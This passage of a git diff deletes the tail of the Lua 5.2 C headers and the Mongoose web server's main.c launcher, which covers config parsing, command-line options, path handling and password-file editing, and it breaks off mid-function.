const char *(lua_pushvfstring) (lua_State *L, const char *fmt, - va_list argp); -LUA_API const char *(lua_pushfstring) (lua_State *L, const char *fmt, ...); -LUA_API void (lua_pushcclosure) (lua_State *L, lua_CFunction fn, int n); -LUA_API void (lua_pushboolean) (lua_State *L, int b); -LUA_API void (lua_pushlightuserdata) (lua_State *L, void *p); -LUA_API int (lua_pushthread) (lua_State *L); - - -/* -** get functions (Lua -> stack) -*/ -LUA_API void (lua_getglobal) (lua_State *L, const char *var); -LUA_API void (lua_gettable) (lua_State *L, int idx); -LUA_API void (lua_getfield) (lua_State *L, int idx, const char *k); -LUA_API void (lua_rawget) (lua_State *L, int idx); -LUA_API void (lua_rawgeti) (lua_State *L, int idx, int n); -LUA_API void (lua_rawgetp) (lua_State *L, int idx, const void *p); -LUA_API void (lua_createtable) (lua_State *L, int narr, int nrec); -LUA_API void *(lua_newuserdata) (lua_State *L, size_t sz); -LUA_API int (lua_getmetatable) (lua_State *L, int objindex); -LUA_API void (lua_getuservalue) (lua_State *L, int idx); - - -/* -** set functions (stack -> Lua) -*/ -LUA_API void (lua_setglobal) (lua_State *L, const char *var); -LUA_API void (lua_settable) (lua_State *L, int idx); -LUA_API void (lua_setfield) (lua_State *L, int idx, const char *k); -LUA_API void (lua_rawset) (lua_State *L, int idx); -LUA_API void (lua_rawseti) (lua_State *L, int idx, int n); -LUA_API void (lua_rawsetp) (lua_State *L, int idx, const void *p); -LUA_API int (lua_setmetatable) (lua_State *L, int objindex); -LUA_API void (lua_setuservalue) (lua_State *L, int idx); - - -/* -** 'load' and 'call' functions (load and run Lua code) -*/ -LUA_API void (lua_callk) (lua_State *L, int nargs, int nresults, int ctx, - lua_CFunction k); -#define lua_call(L,n,r) lua_callk(L, (n), (r), 0, NULL) - -LUA_API int (lua_getctx) (lua_State *L, int *ctx); - -LUA_API int (lua_pcallk) (lua_State *L, int nargs, int nresults, int errfunc, - int ctx, lua_CFunction k); -#define lua_pcall(L,n,r,f) lua_pcallk(L, (n), (r), (f), 0, NULL) - -LUA_API int (lua_load) (lua_State *L, lua_Reader reader, void *dt, - const char *chunkname, - const char *mode); - -LUA_API int (lua_dump) (lua_State *L, lua_Writer writer, void *data); - - -/* -** coroutine functions -*/ -LUA_API int (lua_yieldk) (lua_State *L, int nresults, int ctx, - lua_CFunction k); -#define lua_yield(L,n) lua_yieldk(L, (n), 0, NULL) -LUA_API int (lua_resume) (lua_State *L, lua_State *from, int narg); -LUA_API int (lua_status) (lua_State *L); - -/* -** garbage-collection function and options -*/ - -#define LUA_GCSTOP 0 -#define LUA_GCRESTART 1 -#define LUA_GCCOLLECT 2 -#define LUA_GCCOUNT 3 -#define LUA_GCCOUNTB 4 -#define LUA_GCSTEP 5 -#define LUA_GCSETPAUSE 6 -#define LUA_GCSETSTEPMUL 7 -#define LUA_GCSETMAJORINC 8 -#define LUA_GCISRUNNING 9 -#define LUA_GCGEN 10 -#define LUA_GCINC 11 - -LUA_API int (lua_gc) (lua_State *L, int what, int data); - - -/* -** miscellaneous functions -*/ - -LUA_API int (lua_error) (lua_State *L); - -LUA_API int (lua_next) (lua_State *L, int idx); - -LUA_API void (lua_concat) (lua_State *L, int n); -LUA_API void (lua_len) (lua_State *L, int idx); - -LUA_API lua_Alloc (lua_getallocf) (lua_State *L, void **ud); -LUA_API void (lua_setallocf) (lua_State *L, lua_Alloc f, void *ud); - - - -/* -** =============================================================== -** some useful macros -** =============================================================== -*/ - -#define lua_tonumber(L,i) lua_tonumberx(L,i,NULL) -#define lua_tointeger(L,i) lua_tointegerx(L,i,NULL) -#define lua_tounsigned(L,i) lua_tounsignedx(L,i,NULL) - -#define lua_pop(L,n) lua_settop(L, -(n)-1) - -#define lua_newtable(L) lua_createtable(L, 0, 0) - -#define lua_register(L,n,f) (lua_pushcfunction(L, (f)), lua_setglobal(L, (n))) - -#define lua_pushcfunction(L,f) lua_pushcclosure(L, (f), 0) - -#define lua_isfunction(L,n) (lua_type(L, (n)) == LUA_TFUNCTION) -#define lua_istable(L,n) (lua_type(L, (n)) == LUA_TTABLE) -#define lua_islightuserdata(L,n) (lua_type(L, (n)) == LUA_TLIGHTUSERDATA) -#define lua_isnil(L,n) (lua_type(L, (n)) == LUA_TNIL) -#define lua_isboolean(L,n) (lua_type(L, (n)) == LUA_TBOOLEAN) -#define lua_isthread(L,n) (lua_type(L, (n)) == LUA_TTHREAD) -#define lua_isnone(L,n) (lua_type(L, (n)) == LUA_TNONE) -#define lua_isnoneornil(L, n) (lua_type(L, (n)) <= 0) - -#define lua_pushliteral(L, s) \ - lua_pushlstring(L, "" s, (sizeof(s)/sizeof(char))-1) - -#define lua_pushglobaltable(L) \ - lua_rawgeti(L, LUA_REGISTRYINDEX, LUA_RIDX_GLOBALS) - -#define lua_tostring(L,i) lua_tolstring(L, (i), NULL) - - - -/* -** {====================================================================== -** Debug API -** ======================================================================= -*/ - - -/* -** Event codes -*/ -#define LUA_HOOKCALL 0 -#define LUA_HOOKRET 1 -#define LUA_HOOKLINE 2 -#define LUA_HOOKCOUNT 3 -#define LUA_HOOKTAILCALL 4 - - -/* -** Event masks -*/ -#define LUA_MASKCALL (1 << LUA_HOOKCALL) -#define LUA_MASKRET (1 << LUA_HOOKRET) -#define LUA_MASKLINE (1 << LUA_HOOKLINE) -#define LUA_MASKCOUNT (1 << LUA_HOOKCOUNT) - -typedef struct lua_Debug lua_Debug; /* activation record */ - - -/* Functions to be called by the debugger in specific events */ -typedef void (*lua_Hook) (lua_State *L, lua_Debug *ar); - - -LUA_API int (lua_getstack) (lua_State *L, int level, lua_Debug *ar); -LUA_API int (lua_getinfo) (lua_State *L, const char *what, lua_Debug *ar); -LUA_API const char *(lua_getlocal) (lua_State *L, const lua_Debug *ar, int n); -LUA_API const char *(lua_setlocal) (lua_State *L, const lua_Debug *ar, int n); -LUA_API const char *(lua_getupvalue) (lua_State *L, int funcindex, int n); -LUA_API const char *(lua_setupvalue) (lua_State *L, int funcindex, int n); - -LUA_API void *(lua_upvalueid) (lua_State *L, int fidx, int n); -LUA_API void (lua_upvaluejoin) (lua_State *L, int fidx1, int n1, - int fidx2, int n2); - -LUA_API int (lua_sethook) (lua_State *L, lua_Hook func, int mask, int count); -LUA_API lua_Hook (lua_gethook) (lua_State *L); -LUA_API int (lua_gethookmask) (lua_State *L); -LUA_API int (lua_gethookcount) (lua_State *L); - - -struct lua_Debug { - int event; - const char *name; /* (n) */ - const char *namewhat; /* (n) 'global', 'local', 'field', 'method' */ - const char *what; /* (S) 'Lua', 'C', 'main', 'tail' */ - const char *source; /* (S) */ - int currentline; /* (l) */ - int linedefined; /* (S) */ - int lastlinedefined; /* (S) */ - unsigned char nups; /* (u) number of upvalues */ - unsigned char nparams;/* (u) number of parameters */ - char isvararg; /* (u) */ - char istailcall; /* (t) */ - char short_src[LUA_IDSIZE]; /* (S) */ - /* private part */ - struct CallInfo *i_ci; /* active function */ -}; - -/* }====================================================================== */ - - -/****************************************************************************** -* Copyright (C) 1994-2012 Lua.org, PUC-Rio. -* -* Permission is hereby granted, free of charge, to any person obtaining -* a copy of this software and associated documentation files (the -* "Software"), to deal in the Software without restriction, including -* without limitation the rights to use, copy, modify, merge, publish, -* distribute, sublicense, and/or sell copies of the Software, and to -* permit persons to whom the Software is furnished to do so, subject to -* the following conditions: -* -* The above copyright notice and this permission notice shall be -* included in all copies or substantial portions of the Software. -* -* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -******************************************************************************/ - - -#endif -/* -** $Id: lauxlib.h,v 1.120 2011/11/29 15:55:08 roberto Exp $ -** Auxiliary functions for building Lua libraries -** See Copyright Notice in lua.h -*/ - - -#ifndef lauxlib_h -#define lauxlib_h - -#include -#include - - - - -/* extra error code for `luaL_load' */ -#define LUA_ERRFILE (LUA_ERRERR+1) - - -typedef struct luaL_Reg { - const char *name; - lua_CFunction func; -} luaL_Reg; - - -LUALIB_API void (luaL_checkversion_) (lua_State *L, lua_Number ver); -#define luaL_checkversion(L) luaL_checkversion_(L, LUA_VERSION_NUM) - -LUALIB_API int (luaL_getmetafield) (lua_State *L, int obj, const char *e); -LUALIB_API int (luaL_callmeta) (lua_State *L, int obj, const char *e); -LUALIB_API const char *(luaL_tolstring) (lua_State *L, int idx, size_t *len); -LUALIB_API int (luaL_argerror) (lua_State *L, int numarg, const char *extramsg); -LUALIB_API const char *(luaL_checklstring) (lua_State *L, int numArg, - size_t *l); -LUALIB_API const char *(luaL_optlstring) (lua_State *L, int numArg, - const char *def, size_t *l); -LUALIB_API lua_Number (luaL_checknumber) (lua_State *L, int numArg); -LUALIB_API lua_Number (luaL_optnumber) (lua_State *L, int nArg, lua_Number def); - -LUALIB_API lua_Integer (luaL_checkinteger) (lua_State *L, int numArg); -LUALIB_API lua_Integer (luaL_optinteger) (lua_State *L, int nArg, - lua_Integer def); -LUALIB_API lua_Unsigned (luaL_checkunsigned) (lua_State *L, int numArg); -LUALIB_API lua_Unsigned (luaL_optunsigned) (lua_State *L, int numArg, - lua_Unsigned def); - -LUALIB_API void (luaL_checkstack) (lua_State *L, int sz, const char *msg); -LUALIB_API void (luaL_checktype) (lua_State *L, int narg, int t); -LUALIB_API void (luaL_checkany) (lua_State *L, int narg); - -LUALIB_API int (luaL_newmetatable) (lua_State *L, const char *tname); -LUALIB_API void (luaL_setmetatable) (lua_State *L, const char *tname); -LUALIB_API void *(luaL_testudata) (lua_State *L, int ud, const char *tname); -LUALIB_API void *(luaL_checkudata) (lua_State *L, int ud, const char *tname); - -LUALIB_API void (luaL_where) (lua_State *L, int lvl); -LUALIB_API int (luaL_error) (lua_State *L, const char *fmt, ...); - -LUALIB_API int (luaL_checkoption) (lua_State *L, int narg, const char *def, - const char *const lst[]); - -LUALIB_API int (luaL_fileresult) (lua_State *L, int stat, const char *fname); -LUALIB_API int (luaL_execresult) (lua_State *L, int stat); - -/* pre-defined references */ -#define LUA_NOREF (-2) -#define LUA_REFNIL (-1) - -LUALIB_API int (luaL_ref) (lua_State *L, int t); -LUALIB_API void (luaL_unref) (lua_State *L, int t, int ref); - -LUALIB_API int (luaL_loadfilex) (lua_State *L, const char *filename, - const char *mode); - -#define luaL_loadfile(L,f) luaL_loadfilex(L,f,NULL) - -LUALIB_API int (luaL_loadbufferx) (lua_State *L, const char *buff, size_t sz, - const char *name, const char *mode); -LUALIB_API int (luaL_loadstring) (lua_State *L, const char *s); - -LUALIB_API lua_State *(luaL_newstate) (void); - -LUALIB_API int (luaL_len) (lua_State *L, int idx); - -LUALIB_API const char *(luaL_gsub) (lua_State *L, const char *s, const char *p, - const char *r); - -LUALIB_API void (luaL_setfuncs) (lua_State *L, const luaL_Reg *l, int nup); - -LUALIB_API int (luaL_getsubtable) (lua_State *L, int idx, const char *fname); - -LUALIB_API void (luaL_traceback) (lua_State *L, lua_State *L1, - const char *msg, int level); - -LUALIB_API void (luaL_requiref) (lua_State *L, const char *modname, - lua_CFunction openf, int glb); - -/* -** =============================================================== -** some useful macros -** =============================================================== -*/ - - -#define luaL_newlibtable(L,l) \ - lua_createtable(L, 0, sizeof(l)/sizeof((l)[0]) - 1) - -#define luaL_newlib(L,l) (luaL_newlibtable(L,l), luaL_setfuncs(L,l,0)) - -#define luaL_argcheck(L, cond,numarg,extramsg) \ - ((void)((cond) || luaL_argerror(L, (numarg), (extramsg)))) -#define luaL_checkstring(L,n) (luaL_checklstring(L, (n), NULL)) -#define luaL_optstring(L,n,d) (luaL_optlstring(L, (n), (d), NULL)) -#define luaL_checkint(L,n) ((int)luaL_checkinteger(L, (n))) -#define luaL_optint(L,n,d) ((int)luaL_optinteger(L, (n), (d))) -#define luaL_checklong(L,n) ((long)luaL_checkinteger(L, (n))) -#define luaL_optlong(L,n,d) ((long)luaL_optinteger(L, (n), (d))) - -#define luaL_typename(L,i) lua_typename(L, lua_type(L,(i))) - -#define luaL_dofile(L, fn) \ - (luaL_loadfile(L, fn) || lua_pcall(L, 0, LUA_MULTRET, 0)) - -#define luaL_dostring(L, s) \ - (luaL_loadstring(L, s) || lua_pcall(L, 0, LUA_MULTRET, 0)) - -#define luaL_getmetatable(L,n) (lua_getfield(L, LUA_REGISTRYINDEX, (n))) - -#define luaL_opt(L,f,n,d) (lua_isnoneornil(L,(n)) ? (d) : f(L,(n))) - -#define luaL_loadbuffer(L,s,sz,n) luaL_loadbufferx(L,s,sz,n,NULL) - - -/* -** {====================================================== -** Generic Buffer manipulation -** ======================================================= -*/ - -typedef struct luaL_Buffer { - char *b; /* buffer address */ - size_t size; /* buffer size */ - size_t n; /* number of characters in buffer */ - lua_State *L; - char initb[LUAL_BUFFERSIZE]; /* initial buffer */ -} luaL_Buffer; - - -#define luaL_addchar(B,c) \ - ((void)((B)->n < (B)->size || luaL_prepbuffsize((B), 1)), \ - ((B)->b[(B)->n++] = (c))) - -#define luaL_addsize(B,s) ((B)->n += (s)) - -LUALIB_API void (luaL_buffinit) (lua_State *L, luaL_Buffer *B); -LUALIB_API char *(luaL_prepbuffsize) (luaL_Buffer *B, size_t sz); -LUALIB_API void (luaL_addlstring) (luaL_Buffer *B, const char *s, size_t l); -LUALIB_API void (luaL_addstring) (luaL_Buffer *B, const char *s); -LUALIB_API void (luaL_addvalue) (luaL_Buffer *B); -LUALIB_API void (luaL_pushresult) (luaL_Buffer *B); -LUALIB_API void (luaL_pushresultsize) (luaL_Buffer *B, size_t sz); -LUALIB_API char *(luaL_buffinitsize) (lua_State *L, luaL_Buffer *B, size_t sz); - -#define luaL_prepbuffer(B) luaL_prepbuffsize(B, LUAL_BUFFERSIZE) - -/* }====================================================== */ - - - -/* -** {====================================================== -** File handles for IO library -** ======================================================= -*/ - -/* -** A file handle is a userdata with metatable 'LUA_FILEHANDLE' and -** initial structure 'luaL_Stream' (it may contain other fields -** after that initial structure). -*/ - -#define LUA_FILEHANDLE "FILE*" - - -typedef struct luaL_Stream { - FILE *f; /* stream (NULL for incompletely created streams) */ - lua_CFunction closef; /* to close stream (NULL for closed streams) */ -} luaL_Stream; - -/* }====================================================== */ - - - -/* compatibility with old module system */ -#if defined(LUA_COMPAT_MODULE) -LUALIB_API void (luaL_pushmodule) (lua_State *L, const char *modname, - int sizehint); -LUALIB_API void (luaL_openlib) (lua_State *L, const char *libname, - const luaL_Reg *l, int nup); - -#define luaL_register(L,n,l) (luaL_openlib(L,(n),(l),0)) - -#endif - - -#endif - - -/* -** $Id: lualib.h,v 1.43 2011/12/08 12:11:37 roberto Exp $ -** Lua standard libraries -** See Copyright Notice in lua.h -*/ - - -#ifndef lualib_h -#define lualib_h - - - - -LUAMOD_API int (luaopen_base) (lua_State *L); - -#define LUA_COLIBNAME "coroutine" -LUAMOD_API int (luaopen_coroutine) (lua_State *L); - -#define LUA_TABLIBNAME "table" -LUAMOD_API int (luaopen_table) (lua_State *L); - -#define LUA_IOLIBNAME "io" -LUAMOD_API int (luaopen_io) (lua_State *L); - -#define LUA_OSLIBNAME "os" -LUAMOD_API int (luaopen_os) (lua_State *L); - -#define LUA_STRLIBNAME "string" -LUAMOD_API int (luaopen_string) (lua_State *L); - -#define LUA_BITLIBNAME "bit32" -LUAMOD_API int (luaopen_bit32) (lua_State *L); - -#define LUA_MATHLIBNAME "math" -LUAMOD_API int (luaopen_math) (lua_State *L); - -#define LUA_DBLIBNAME "debug" -LUAMOD_API int (luaopen_debug) (lua_State *L); - -#define LUA_LOADLIBNAME "package" -LUAMOD_API int (luaopen_package) (lua_State *L); - - -/* open all previous libraries */ -LUALIB_API void (luaL_openlibs) (lua_State *L); - - - -#if !defined(lua_assert) -#define lua_assert(x) ((void)0) -#endif - - -#endif diff --git a/build/main.c b/build/main.c deleted file mode 100644 index 1d2fd5c4..00000000 --- a/build/main.c +++ /dev/null @@ -1,1138 +0,0 @@ -// Copyright (c) 2004-2013 Sergey Lyubka -// -// Permission is hereby granted, free of charge, to any person obtaining a copy -// of this software and associated documentation files (the "Software"), to deal -// in the Software without restriction, including without limitation the rights -// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -// copies of the Software, and to permit persons to whom the Software is -// furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -// THE SOFTWARE. - -#undef UNICODE // Use ANSI WinAPI functions -#undef _UNICODE // Use multibyte encoding on Windows -#define _MBCS // Use multibyte encoding on Windows -#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005 -#define _XOPEN_SOURCE 600 // For PATH_MAX on linux - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "mongoose.h" - -#ifdef _WIN32 -#include -#include // For chdir() -#include -#include - -#ifndef PATH_MAX -#define PATH_MAX MAX_PATH -#endif - -#ifndef S_ISDIR -#define S_ISDIR(x) ((x) & _S_IFDIR) -#endif - -#define DIRSEP '\\' -#define snprintf _snprintf -#define vsnprintf _vsnprintf -#define sleep(x) Sleep((x) * 1000) -#define abs_path(rel, abs, abs_size) _fullpath((abs), (rel), (abs_size)) -#define SIGCHLD 0 -typedef struct _stat file_stat_t; -#define stat(x, y) my_stat((x), (y)) -#else -typedef struct stat file_stat_t; -#include -#include -#define DIRSEP '/' -#define __cdecl -#define abs_path(rel, abs, abs_size) realpath((rel), (abs)) -#endif // _WIN32 - -#define MAX_OPTIONS 100 -#define MAX_CONF_FILE_LINE_SIZE (8 * 1024) - -static int exit_flag; -static char server_name[40]; // Set by init_server_name() -static char config_file[PATH_MAX]; // Set by process_command_line_arguments() -static struct mg_server *server; // Set by start_mongoose() -static const char static_user_name[64] = "#__u__#"; -static const char static_user_email[64] = "#__e__#"; - -#if !defined(CONFIG_FILE) -#define CONFIG_FILE "mongoose.conf" -#endif /* !CONFIG_FILE */ - -static void __cdecl signal_handler(int sig_num) { - // Reinstantiate signal handler - signal(sig_num, signal_handler); - -#if !defined(_WIN32) - // Do not do the trick with ignoring SIGCHLD, cause not all OSes (e.g. QNX) - // reap zombies if SIGCHLD is ignored. On QNX, for example, waitpid() - // fails if SIGCHLD is ignored, making system() non-functional. - if (sig_num == SIGCHLD) { - do {} while (waitpid(-1, &sig_num, WNOHANG) > 0); - } else -#endif - { exit_flag = sig_num; } -} - -#ifdef NO_GUI -#undef _WIN32 -#endif - -static void die(const char *fmt, ...) { - va_list ap; - char msg[200]; - - va_start(ap, fmt); - vsnprintf(msg, sizeof(msg), fmt, ap); - va_end(ap); - -#if defined(_WIN32) - MessageBox(NULL, msg, "Error", MB_OK); -#else - fprintf(stderr, "%s\n", msg); -#endif - - exit(EXIT_FAILURE); -} - -static void show_usage_and_exit(void) { - const char **names; - int i; - - fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built on %s\n", - MONGOOSE_VERSION, __DATE__); - fprintf(stderr, "Usage:\n"); -#ifndef NO_AUTH - fprintf(stderr, " mongoose -A \n"); -#endif - fprintf(stderr, " mongoose [config_file]\n"); - fprintf(stderr, " mongoose [-option value ...]\n"); - fprintf(stderr, "\nOPTIONS:\n"); - - names = mg_get_valid_option_names(); - for (i = 0; names[i] != NULL; i += 2) { - fprintf(stderr, " -%s %s\n", - names[i], names[i + 1] == NULL ? "" : names[i + 1]); - } - exit(EXIT_FAILURE); -} - -#if defined(_WIN32) || defined(USE_COCOA) -static const char *config_file_top_comment = -"# Mongoose web server configuration file.\n" -"# For detailed description of every option, visit\n" -"# https://github.com/cesanta/mongoose\n" -"# Lines starting with '#' and empty lines are ignored.\n" -"# To make a change, remove leading '#', modify option's value,\n" -"# save this file and then restart Mongoose.\n\n"; - -static const char *get_url_to_me(const struct mg_server *server) { - static char url[100]; - const char *s = mg_get_option(server, "listening_port"); - const char *cert = mg_get_option(server, "ssl_certificate"); - - snprintf(url, sizeof(url), "%s://%s%s", - cert != NULL && cert[0] != '\0' ? "https" : "http", - s == NULL || strchr(s, ':') == NULL ? "127.0.0.1:" : "", s); - - return url; -} - -static void create_config_file(const char *path) { - const char **names, *value; - FILE *fp; - int i; - - // Create config file if it is not present yet - if ((fp = fopen(path, "r")) != NULL) { - fclose(fp); - } else if ((fp = fopen(path, "a+")) != NULL) { - fprintf(fp, "%s", config_file_top_comment); - names = mg_get_valid_option_names(); - for (i = 0; names[i * 2] != NULL; i++) { - value = mg_get_option(server, names[i * 2]); - fprintf(fp, "# %s %s\n", names[i * 2], value ? value : ""); - } - fclose(fp); - } -} -#endif - -static char *sdup(const char *str) { - char *p; - if ((p = (char *) malloc(strlen(str) + 1)) != NULL) { - strcpy(p, str); - } - return p; -} - -static void set_option(char **options, const char *name, const char *value) { - int i; - - for (i = 0; i < MAX_OPTIONS - 3; i++) { - if (options[i] == NULL) { - options[i] = sdup(name); - options[i + 1] = sdup(value); - options[i + 2] = NULL; - break; - } else if (!strcmp(options[i], name)) { - free(options[i + 1]); - options[i + 1] = sdup(value); - break; - } - } - - if (i == MAX_OPTIONS - 3) { - die("%s", "Too many options specified"); - } -} - -#ifdef WIN32 -static int my_argc; -static char **my_argv; - -static void to_utf8(wchar_t *src, char *dst, size_t dst_len) { - WideCharToMultiByte(CP_UTF8, 0, src, -1, dst, dst_len, 0, 0); -} - -static void to_wchar(const char *src, wchar_t *dst, size_t dst_len) { - MultiByteToWideChar(CP_UTF8, 0, src, -1, dst, dst_len); -} - -static void init_utf8_argc_argv(void) { - wchar_t **wargv = CommandLineToArgvW(GetCommandLineW(), &my_argc); - if (wargv != NULL) { - char buf[1024 * 8]; - int i; - // TODO(lsm): free that at some point. - my_argv = calloc(my_argc + 1, sizeof(my_argv[0])); - for (i = 0; i < my_argc; i++) { - to_utf8(wargv[i], buf, sizeof(buf)); - my_argv[i] = strdup(buf); - } - LocalFree(wargv); - } -} -#endif - -static void process_command_line_arguments(char *argv[], char **options) { - char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)], *p; - FILE *fp = NULL; - size_t i, cmd_line_opts_start = 1, line_no = 0; - - // Should we use a config file ? - if (argv[1] != NULL && argv[1][0] != '-') { - snprintf(config_file, sizeof(config_file), "%s", argv[1]); - cmd_line_opts_start = 2; - } else if ((p = strrchr(argv[0], DIRSEP)) == NULL) { - // No command line flags specified. Look where binary lives - snprintf(config_file, sizeof(config_file), "%s", CONFIG_FILE); - } else { - snprintf(config_file, sizeof(config_file), "%.*s%c%s", - (int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE); - } - -#ifdef WIN32 - { - wchar_t path[PATH_MAX]; - to_wchar(config_file, path, sizeof(path) / sizeof(path[0])); - fp = _wfopen(path, L"r"); - } -#else - fp = fopen(config_file, "r"); -#endif - - // If config file was set in command line and open failed, die - if (cmd_line_opts_start == 2 && fp == NULL) { - die("Cannot open config file %s: %s", config_file, strerror(errno)); - } - - // Load config file settings first - if (fp != NULL) { - fprintf(stderr, "Loading config file %s\n", config_file); - - // Loop over the lines in config file - while (fgets(line, sizeof(line), fp) != NULL) { - line_no++; - - // Ignore empty lines and comments - for (i = 0; isspace(* (unsigned char *) &line[i]); ) i++; - if (line[i] == '#' || line[i] == '\0') { - continue; - } - - if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) { - printf("%s: line %d is invalid, ignoring it:\n %s", - config_file, (int) line_no, line); - } else { - set_option(options, opt, val); - } - } - - fclose(fp); - } - - // If we're under MacOS and started by launchd, then the second - // argument is process serial number, -psn_..... - // In this case, don't process arguments at all. - if (argv[1] == NULL || memcmp(argv[1], "-psn_", 5) != 0) { - // Handle command line flags. - // They override config file and default settings. - for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) { - if (argv[i][0] != '-' || argv[i + 1] == NULL) { - show_usage_and_exit(); - } - set_option(options, &argv[i][1], argv[i + 1]); - } - } -} - -static void init_server_name(void) { - snprintf(server_name, sizeof(server_name), "Mongoose web server v.%s", - MONGOOSE_VERSION); -} - -static int is_path_absolute(const char *path) { -#ifdef WIN32 - return path != NULL && - ((path[0] == '\\' && path[1] == '\\') || // UNC path, e.g. \\server\dir - (isalpha(path[0]) && path[1] == ':' && path[2] == '\\')); // E.g. X:\dir -#else - return path != NULL && path[0] == '/'; -#endif -} - -static char *get_option(char **options, const char *option_name) { - int i; - - for (i = 0; options[i] != NULL; i++) - if (!strcmp(options[i], option_name)) - return options[i + 1]; - - return NULL; -} - -#ifdef WIN32 // _WIN32 can be undefined if -DNO_GUI is used -static int my_stat(const char *path, file_stat_t *st) { - wchar_t buf[PATH_MAX]; - MultiByteToWideChar(CP_UTF8, 0, path, -1, buf, sizeof(buf) / sizeof(buf[0])); - return _wstat(buf, st); -} -#endif - -static void verify_existence(char **options, const char *option_name, - int must_be_dir) { - file_stat_t st; - const char *path = get_option(options, option_name); - - if (path != NULL && (stat(path, &st) != 0 || - ((S_ISDIR(st.st_mode) ? 1 : 0) != must_be_dir))) { - die("Invalid path for %s: [%s]: (%s). Make sure that path is either " - "absolute, or it is relative to mongoose executable.", - option_name, path, strerror(errno)); - } -} - -static void set_absolute_path(char *options[], const char *option_name, - const char *path_to_mongoose_exe) { - char path[PATH_MAX], abs[PATH_MAX], *option_value; - const char *p; - - // Check whether option is already set - option_value = get_option(options, option_name); - - // If option is already set and it is an absolute path, - // leave it as it is -- it's already absolute. - if (option_value != NULL && !is_path_absolute(option_value)) { - // Not absolute. Use the directory where mongoose executable lives - // be the relative directory for everything. - // Extract mongoose executable directory into path. - if ((p = strrchr(path_to_mongoose_exe, DIRSEP)) == NULL) { -#ifdef WIN32 - wchar_t buf[PATH_MAX]; - GetCurrentDirectoryW(sizeof(buf) / sizeof(buf[0]), buf); - to_utf8(buf, path, sizeof(path)); -#else - getcwd(path, sizeof(path)); -#endif - } else { - snprintf(path, sizeof(path), "%.*s", (int) (p - path_to_mongoose_exe), - path_to_mongoose_exe); - } - - strncat(path, "/", sizeof(path) - 1); - strncat(path, option_value, sizeof(path) - 1); - - // Absolutize the path, and set the option - abs_path(path, abs, sizeof(abs)); - set_option(options, option_name, abs); - } -} - -#ifndef NO_AUTH -int modify_passwords_file(const char *fname, const char *domain, - const char *user, const char *pass) { - int found; - char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX]; - FILE *fp, *fp2; - - found = 0; - fp = fp2 = NULL; - - // Regard empty password as no password - remove user record. - if (pass != NULL && pass[0] == '\0') { - pass = NULL; - } - - (void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname); - - // Create the file if does not exist - if ((fp = fopen(fname, "a+")) != NULL) { - fclose(fp); - } - - // Open the given file and temporary file - if ((fp = fopen(fname, "r")) == NULL) { - return 0; - } else if ((fp2 = fopen(tmp, "w+")) == NULL) { - fclose(fp); - return 0; - } - - // Copy the stuff to temporary file - while (fgets(line, sizeof(line), fp) != NULL) { - if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) { - continue; - } - - if (!strcmp(u, user) && !strcmp(d, domain)) { - found++; - if (pass != NULL) { - mg_md5(ha1, user, ":", domain, ":", pass, NULL); - fprintf(fp2, "%s:%s:%s\n", user, domain, ha1); - } - } else { - fprintf(fp2, "%s", line); - } - } - - // If new user, just add it - if (!found && pass != NULL) { - mg_md5(ha1, user, ":", domain, ":", pass, NULL); - fprintf(fp2, "%s:%s:%s\n", user, domain, ha1); - } - - // Close files - fclose(fp); - fclose(fp2); - - // Put the temp file in place of real file - remove(fname); - rename(tmp, fname); - - return 1; -} -#endif - -static void start_mongoose(int argc, char *argv[]) { - char *options[MAX_OPTIONS]; - int i; - - if ((server = mg_create_server(NULL)) == NULL) { - die("%s", "Failed to start Mongoose."); - } - -#ifndef NO_AUTH - // Edit passwords file if -A option is specified - if (argc > 1 && !strcmp(argv[1], "-A")) { - if (argc != 6) { - show_usage_and_exit(); - } - exit(modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ? - EXIT_SUCCESS : EXIT_FAILURE); - } -#endif - - // Show usage if -h or --help options are specified - if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) { - show_usage_and_exit(); - } - - options[0] = NULL; - set_option(options, "document_root", "."); - set_option(options, "listening_port", "8080"); - - // Update config based on command line arguments - process_command_line_arguments(argv, options); - - // Make sure we have absolute paths for files and directories - // https://github.com/valenok/mongoose/issues/181 - set_absolute_path(options, "document_root", argv[0]); - set_absolute_path(options, "put_delete_auth_file", argv[0]); - set_absolute_path(options, "cgi_interpreter", argv[0]); - set_absolute_path(options, "access_log_file", argv[0]); - set_absolute_path(options, "error_log_file", argv[0]); - set_absolute_path(options, "global_auth_file", argv[0]); - set_absolute_path(options, "ssl_certificate", argv[0]); - - // Make extra verification for certain options - verify_existence(options, "document_root", 